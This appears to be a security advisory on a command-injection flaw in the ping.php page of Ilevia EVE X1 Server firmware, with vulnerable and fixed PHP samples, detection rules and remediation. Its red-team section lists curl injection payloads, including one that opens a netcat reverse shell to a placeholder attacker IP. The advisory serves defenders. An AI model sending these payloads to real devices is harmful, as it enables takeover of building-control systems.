CVE-2025-60738

Executive Summary

CVE-2025-60738 is a critical unauthenticated remote code execution (RCE) vulnerability in the Ilevia EVE X1 Server Firmware, affecting versions up to and including v4.7.18.0.eden (Logic Version v6.00 - 2025_07_21). The flaw resides in the ping.php component, which fails to perform secure filtering on IP parameters, allowing a remote attacker to inject arbitrary operating system commands. With a CVSS score of 0.0 (placeholder) but a high severity due to the nature of the vulnerability, this issue poses a significant threat to industrial control systems and building management networks. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-94 (Improper Control of Generation of Code).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded firmware for the Ilevia EVE X1 Server, which is a hardware appliance used in building automation and IoT environments. The supply chain risk is limited to the direct vendor (Ilevia) and its firmware distribution channels.

CVSS Breakdown & Threat Level

While the NVD CVSS score is listed as 0.0 (likely unassigned or placeholder), based on the vulnerability description and impact, the following CVSS v3.1 vector is estimated:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only affected system.
• Confidentiality (C): High (H) – full system compromise possible.
• Integrity (I): High (H) – arbitrary code execution allows modification of system files.
• Availability (A): High (H) – attacker can disrupt services or cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the affected device is likely exposed to the internet or internal networks. The lack of a patch increases the risk of zero-day exploitation.

Deep Dive & Mechanics

The vulnerability exists in the ping.php component of the Ilevia EVE X1 Server firmware. This component is typically used for network diagnostics, allowing administrators to ping an IP address from the device. The flaw arises because the application does not properly sanitize or validate the IP parameter passed to the underlying system command.

Root Cause: The ping.php script likely constructs a shell command by concatenating user-supplied input directly into a command string, such as:

$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);

Without proper filtering, an attacker can inject additional commands using shell metacharacters like ;, |, &, or backticks. For example:

?ip=127.0.0.1;id

This would execute the id command after the ping, revealing system information.

Attack Flow:

1. Attacker identifies an exposed Ilevia EVE X1 Server (e.g., via Shodan).
2. Attacker sends a crafted HTTP GET request to /ping.php?ip=<malicious_payload>.
3. The server executes the injected command with the privileges of the web server (often root or a privileged user).
4. Attacker gains remote code execution, potentially leading to full device compromise, lateral movement, or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

<?php
$ip = $_GET['ip'];
$result = shell_exec("ping -c 4 " . $ip);
echo "<pre>$result</pre>";
?>

Patched Code (Hypothetical):

<?php
$ip = $_GET['ip'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // Escape shell arguments
    $escaped_ip = escapeshellarg($ip);
    $result = shell_exec("ping -c 4 " . $escaped_ip);
    echo "<pre>" . htmlspecialchars($result) . "</pre>";
} else {
    echo "Invalid IP address.";
}
?>

The patched version uses filter_var() to ensure the input is a valid IP address and escapeshellarg() to prevent command injection. However, since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Ilevia EVE X1 Server (firmware v4.7.18.0.eden or earlier)
• Attacker: Kali Linux or any system with curl/netcat

Exploitation Steps:

1. Reconnaissance: Use Shodan or masscan to find exposed devices.

   shodan search "Ilevia EVE X1"
   

2. Verify Vulnerability: Send a benign test to confirm command execution.

   curl "http://<target>/ping.php?ip=127.0.0.1;echo%20VULNERABLE"
   

3. Execute Commands: Inject a reverse shell or data exfiltration.

   # Reverse shell (example using netcat)
   curl "http://<target>/ping.php?ip=127.0.0.1;nc%20-e%20/bin/sh%20<attacker_ip>%204444"
   

4. Post-Exploitation: Escalate privileges, dump credentials, pivot.

Note: No public exploit code is available, so this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

• Monitor HTTP requests to /ping.php for unusual parameters (e.g., semicolons, pipes, backticks).
• Implement Web Application Firewall (WAF) rules to block command injection patterns.
• Restrict network access to the EVE X1 Server to trusted IPs only.
• Enable logging and alerting on shell command execution from the web server.

Honeypot Deployment:

• Deploy a fake EVE X1 Server to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /ping.php with parameters containing shell metacharacters (;, |, &, `).
• Outbound connections from the EVE X1 Server to unusual IPs/ports (e.g., reverse shell traffic).
• Anomalous DNS queries from the device.

Host IOCs:

• Unexpected processes spawned by the web server (e.g., /bin/sh, nc, bash).
• Modified or new files in /tmp or /var/www/html.
• Unusual entries in system logs (e.g., /var/log/syslog or /var/log/apache2/access.log).

File IOCs:

• Presence of web shells (e.g., cmd.php, shell.php) in the web root.

Detection Engineering

YARA Rule

rule CVE_2025_60738_Ilevia_EVE_X1_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2025-60738 in Ilevia EVE X1 Server"
        author = "Valters IT"
        date = "2025-07-21"
        reference = "CVE-2025-60738"
    strings:
        $ping_php = "ping.php" nocase
        $cmd_inject = /[;&|`$()]/
    condition:
        $ping_php and #cmd_inject > 2
}

Sigma Rule

title: CVE-2025-60738 Ilevia EVE X1 Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to ping.php with command injection patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/ping.php'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in IP parameters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60738 Ilevia EVE X1 Command Injection"; flow:to_server,established; content:"GET"; http_method; content:"/ping.php"; http_uri; content:"ip="; http_uri; pcre:"/ip=[^&]*(?:;|\||`|\$\(|\))/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the EVE X1 Server behind a firewall and restrict access to trusted IPs only.
2. Disable ping.php: If not required, remove or rename the ping.php file.
3. Apply virtual patching: Use a WAF to block command injection patterns (e.g., ModSecurity rules).

Long-Term Fix:

• Vendor must release a firmware update that properly sanitizes input in ping.php. Until then, consider replacing the device or implementing a reverse proxy with input validation.

Workaround:

• Modify the ping.php script manually (if possible) to include input validation and escaping as shown in the patched code example.

Valters IT